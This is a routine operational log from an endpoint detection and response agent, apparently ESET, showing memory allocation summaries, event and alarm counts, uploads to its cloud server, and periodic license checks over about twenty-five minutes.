2026-03-04 01:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1289 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; TcpIpConnectionsManager: 511 KB; ModuleMetadata: 504 KB; rules::ProcessConditionsCache: 315 KB; ModuleInfoCache: 85 KB; CacheEntry: 82 KB; cloudutils::CloudData: 33 KB; BaseEvent: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65463 KB;
2026-03-04 01:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1665 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; TcpIpConnectionsManager: 511 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 269 KB; BaseEvent: 204 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 55 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66026 KB;
2026-03-04 01:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2056 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 548 KB; TcpIpConnectionsManager: 522 KB; ModuleMetadata: 506 KB; BaseEvent: 395 KB; rules::ProcessConditionsCache: 290 KB; BatchSerializer::EventsQueueTag: 106 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66692 KB;
2026-03-04 01:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2417 KB; BaseEvent: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; TcpIpConnectionsManager: 529 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 278 KB; BatchSerializer::EventsQueueTag: 152 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67272 KB;
2026-03-04 01:12:50 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:08:45, To:, 2026-03-04 01:12:50, Duration (s):, 245, Events Per Second:, 16.863, Events:, 4141, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3433, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 705, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461068
2026-03-04 01:12:53 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s381ms.
2026-03-04 01:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1305 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 267 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 12 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; BatchSerializer::EventsQueueTag: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65436 KB;
2026-03-04 01:13:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:13:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:13:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:13:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:13:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:13:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:13:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:13:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1672 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; TcpIpConnectionsManager: 522 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 270 KB; BaseEvent: 192 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 49 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66023 KB;
2026-03-04 01:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2034 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 524 KB; ModuleMetadata: 506 KB; BaseEvent: 371 KB; rules::ProcessConditionsCache: 245 KB; BatchSerializer::EventsQueueTag: 96 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66593 KB;
2026-03-04 01:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2395 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; TcpIpConnectionsManager: 532 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 225 KB; BatchSerializer::EventsQueueTag: 143 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67149 KB;
2026-03-04 01:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2758 KB; BaseEvent: 724 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; TcpIpConnectionsManager: 524 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 220 KB; BatchSerializer::EventsQueueTag: 189 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67726 KB;
2026-03-04 01:17:03 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:12:50, To:, 2026-03-04 01:17:03, Duration (s):, 253, Events Per Second:, 16.237, Events:, 4118, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3395, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 722, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458193
2026-03-04 01:17:06 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s856ms.
2026-03-04 01:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1573 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 561 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 522 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 203 KB; BaseEvent: 160 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 41 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65829 KB;
2026-03-04 01:18:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:18:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:18:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:18:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:18:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:18:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:18:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:18:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1937 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 563 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 522 KB; ModuleMetadata: 506 KB; BaseEvent: 338 KB; rules::ProcessConditionsCache: 189 KB; BatchSerializer::EventsQueueTag: 88 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66407 KB;
2026-03-04 01:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2298 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 563 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; BaseEvent: 517 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 177 KB; BatchSerializer::EventsQueueTag: 135 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66978 KB;
2026-03-04 01:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2664 KB; BaseEvent: 695 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 567 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 506 KB; BatchSerializer::EventsQueueTag: 181 KB; rules::ProcessConditionsCache: 170 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67562 KB;
2026-03-04 01:21:14 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:17:03, To:, 2026-03-04 01:21:13, Duration (s):, 250, Events Per Second:, 16.431, Events:, 4123, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3397, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 725, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458288
2026-03-04 01:21:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s461ms.
2026-03-04 01:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1528 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 587 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 166 KB; BaseEvent: 130 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; BatchSerializer::EventsQueueTag: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65731 KB;
2026-03-04 01:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1899 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 588 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; ModuleMetadata: 506 KB; BaseEvent: 311 KB; rules::ProcessConditionsCache: 162 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 81 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66333 KB;
2026-03-04 01:23:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:23:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:23:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:23:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:23:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:23:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:23:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:23:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2280 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; TcpIpConnectionsManager: 542 KB; ModuleMetadata: 506 KB; BaseEvent: 492 KB; rules::ProcessConditionsCache: 185 KB; BatchSerializer::EventsQueueTag: 130 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66941 KB;
2026-03-04 01:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2645 KB; BaseEvent: 670 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; ModuleMetadata: 506 KB; BatchSerializer::EventsQueueTag: 176 KB; rules::ProcessConditionsCache: 168 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67526 KB;
2026-03-04 01:25:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:21:13, To:, 2026-03-04 01:25:17, Duration (s):, 244, Events Per Second:, 16.835, Events:, 4122, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3409, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 712, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459274
2026-03-04 01:25:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s396ms.
2026-03-04 01:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1551 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 198 KB; BaseEvent: 116 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; BatchSerializer::EventsQueueTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65772 KB;
2026-03-04 01:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1938 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleMetadata: 506 KB; BaseEvent: 302 KB; rules::ProcessConditionsCache: 197 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 80 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66399 KB;
2026-03-04 01:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2336 KB; TcpIpConnectionsManager: 606 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; ModuleMetadata: 506 KB; BaseEvent: 486 KB; rules::ProcessConditionsCache: 267 KB; BatchSerializer::EventsQueueTag: 130 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 67144 KB;
2026-03-04 01:28:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:28:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:28:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:28:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:28:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:28:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:28:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:28:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2648 KB; BaseEvent: 639 KB; TcpIpConnectionsManager: 603 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 263 KB; BatchSerializer::EventsQueueTag: 170 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 67656 KB;
2026-03-04 01:29:14 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:25:15, To:, 2026-03-04 01:29:14, Duration (s):, 239, Events Per Second:, 17.032, Events:, 4077, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3417, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 659, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454641
2026-03-04 01:29:16 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s412ms.
2026-03-04 01:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1573 KB; TcpIpConnectionsManager: 619 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 256 KB; BaseEvent: 127 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; BatchSerializer::EventsQueueTag: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65914 KB;
2026-03-04 01:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1979 KB; TcpIpConnectionsManager: 644 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 322 KB; BaseEvent: 315 KB; ModuleInfoCache: 86 KB; BatchSerializer::EventsQueueTag: 84 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66662 KB;
2026-03-04 01:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2369 KB; TcpIpConnectionsManager: 685 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 547 KB; ModuleMetadata: 506 KB; BaseEvent: 503 KB; rules::ProcessConditionsCache: 346 KB; BatchSerializer::EventsQueueTag: 136 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 67364 KB;
2026-03-04 01:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2643 KB; TcpIpConnectionsManager: 635 KB; BaseEvent: 610 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 347 KB; BatchSerializer::EventsQueueTag: 167 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 35 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 7 KB; BatchStringTag: 0 KB; Total: 67758 KB;
2026-03-04 01:33:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:33:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:33:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:33:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:33:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:33:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:33:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
